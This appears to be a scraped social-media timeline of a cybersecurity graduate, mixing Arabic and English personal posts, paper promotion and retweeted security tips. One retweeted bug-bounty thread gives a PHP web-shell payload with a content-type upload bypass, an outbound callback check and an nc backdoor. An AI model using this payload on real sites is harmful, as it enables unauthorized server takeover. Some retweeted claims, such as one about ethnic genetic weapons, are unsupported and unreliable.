Raed🎗

Cyber security ‘22 | 23 YO | Ex #Pharma18 | IEEE member | TCP member at CICN22, CSNT23 | Developer and designer of Ibn Omar Hash Algorithm

[Raed🎗 @JustRaed0]

@HKAhmed_ الهروب من البنيان بالذات بحكم اني قابع جدار قبل شوية 😔

[Stetson University @StetsonU]

Raed Shafei says Stetson’s small classes and helpful professors prepared him for a successful career. With his training, he is eager to contribute to the ambitious Saudi Vision 2030.

Read more: https://t.co/j4PmM3WkED

#GoHatters | #StetsonU | #Saudi2030

[Tim Healthy lifestyle 🏋️‍♀️ @clint_timmy]

Ever thought of automating your iPhone to locate itself when lost? Here's how 👇

[PyQuant News 🐍 @pyquantnews]

I'm 43.

If you're still in your 20s or 30s, read this:

[Critical Thinking - Bug Bounty Podcast @ctbbpodcast]

6 things to look out for when you come across an OAuth flow:

1. If it's possible to redirect to any endpoint on the target domain, look for endpoints that pass all URL parameters through, such as open redirects.

[Raed🎗 @JustRaed0]

@yalialq عيشها على حسبه انك بتشرفنا شهر يناير 😉

[Raed🎗 @JustRaed0]

007 No Time To Die?

[إياد الحمود @Eyaaaad]

الصين تُصدر تحذير شديد لمواطنيها من أسلحة جينية حديثة قادرة على استهداف أعراق محددة بشكل انتقائي بهدف ��لقضاء عليهم في حال نشوب حرب كبيرة.

جهاز أمن الدولة الصيني أصدر بيان حذر فيه من منظمة أجنبية تريد تجنيد الصينيين لإجراء أبحاث على عِرقهم لجمع بياناتهم مما قد يترتب عليه مخاطر كُبرى على الشعب الصيني في حال تم استخدام ذلك السلاح الذي وُصف بأنه من أسلحة الدمار الشامل.

جهاز أمن الدولة الصيني لم يذكر اسم تلك الدولة أو المنظمة الأجنبية.

[Raed🎗 @JustRaed0]

Let me know your thoughts about my new project that I’m working on. The Ibn Maryam Data Integrity Tokens. You can find more information in the repository below.

https://t.co/kMStkdpJTR

[Raed🎗 @JustRaed0]

@BowTiedCyber Answer is C. Router

[Ahmed Najeh @im4x7]

#bugbountytips #bugbounty #cybersecurity #Pentesting #Hacking #bugcrowd #Hackerone #IDOR #XSS #SQLI

Blind #RCE

When you find a file upload center inside any site
You will definitely look for RCE because it is considered the most important and dangerous security vulnerability that gives you access to a server and a backdoor.

Well, I decided to upload my own picture on one of the private sites
So I got the end point of his photos, which are uploaded to the same site without the use of third-party
https://t.co/DGoZFKffrO

Therefore, I decided to send the request to the Burp
But I found the content of the image does not appear in the burp
which only appears in image format

{"content-type":"image/jpeg",
"file_ext":"jpeg"}

Where I changed it to to

{"content-type":"application/x-httpd-php",
"file_ext":"php"}

I found that the image was uploaded in .php format correctly
So I created a RCE.jpg file with the content:-

<?php system($_GET['im4x']);?>

im4x: It is the variable that we change in order to give the server commands
I also uploaded the RCE.jpg file
I intercepted the request and changed it to PHP

The site was not showing me what I was printing in the im4x variable like <whoami, ls , pwd , .. etc >

So I used a command that forces the site to visit another site (you can use Burp Collaborator)

https://t.co/bUbcSrTmRb+<Burp Collaborator>

I got a response, the link was visited, so I made sure the site accepts injections
I opened my back door easily with NC

retweet, please ❤️❤️

[Raed🎗 @JustRaed0]

@Farisdaiban الف الف مبروك التخرج وعقبال اعلى المناصب ♥️

[Raed🎗 @JustRaed0]

@besso910 الف الف مبروك وعقبال اعلى المناصب ♥️

[Raed🎗 @JustRaed0]

Now you can try Ibn Omar Hash Algorithm by using my code on GitHub.

https://t.co/kIvb8cYO78

[Raed🎗 @JustRaed0]

Now you can view and download a copy of my paper “Ibn Omar Hash Algorithm” a hashing algorithm designed and developed by me. For further questions please email me at [email protected] #IEEE #CICN2022

https://t.co/SdIJxGXh2E

[Raed🎗 @JustRaed0]

Now you can view and download a copy of my paper “Ibn Omar Hash Algorithm” a hashing algorithm designed and developed by me. For further questions please email me at [email protected] #IEEE #CICN2022

https://t.co/SdIJxGXh2E

[Raed🎗 @JustRaed0]

@q8fawazo الجهل مشكلة بطايق البنك تعمل عن طريق الـNFC واللي بيكون فيه UID يعني كل مرة بتقرا البطاقة بالجهاز بيكون الـUID مختلف وعندك اجزاء من الثانية حتى تستعمل القراية اللي عندك قبل ما تنتهي كذلك Apple Pay. اما RFIDs زي الـ key fob مافيها نظام امان اصلًا.

[LetsDefend @LetsDefendIO]

Popular interview question: What Happens When You Enter the URL In a Browser?

[OccupytheWeb @three_cube]

Master OTW Cyberwarrior Wisdom

"US Government Bans Hikvision and Dahua IP Cameras" Nov 28, 2022

Both of these IP Cameras Have Backdoors Purposely Placed for Spying.

Every nation should Ban these products

#otwwisdom

[المُصْحَف @AlMosahf]

{وَمَا تَوْفِيقِي إِلَّا بِاللَّهِ}